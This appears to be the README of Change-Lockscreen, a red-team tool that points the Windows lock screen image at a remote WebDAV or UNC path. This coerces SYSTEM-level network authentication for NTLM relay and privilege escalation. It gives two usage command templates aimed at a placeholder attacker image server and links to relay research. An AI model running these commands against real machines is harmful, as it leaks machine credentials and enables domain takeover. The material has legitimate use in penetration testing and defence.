Change-Lockscreen

Change-Lockscreen is a tool to trigger network authentications as SYSTEM by changing the Windows lock screen image from command line to perform privilege escalation attacks such as the following:

• (Link to Blog)

Features

By default, Windows 10 has a feature called Windows Spotlight. It is in charge of downloading and displaying lock screen images automatically.

• When this feature is enabled, Change-Lockscreen will disable it and establish the image specified in the arguments.
• Otherwise if the user has a custom lock screen image, Change-Lockscreen will be in charge to run a backup of it and establish it again.

N.B. While the Poweshell version of the tool works smoothly, the C# version sometimes fails restoring the original image.

Usage

Change-Lockscreen -FullPath \\[imageserver]@[port]\[fakePath]\[image.jpg]
Change-Lockscreen -Webdav \\[imageserver]@[port]\ 

(GIF IMAGE CHANGE)

Acknowledgements

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
• https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
• https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
• https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
• http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
• https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/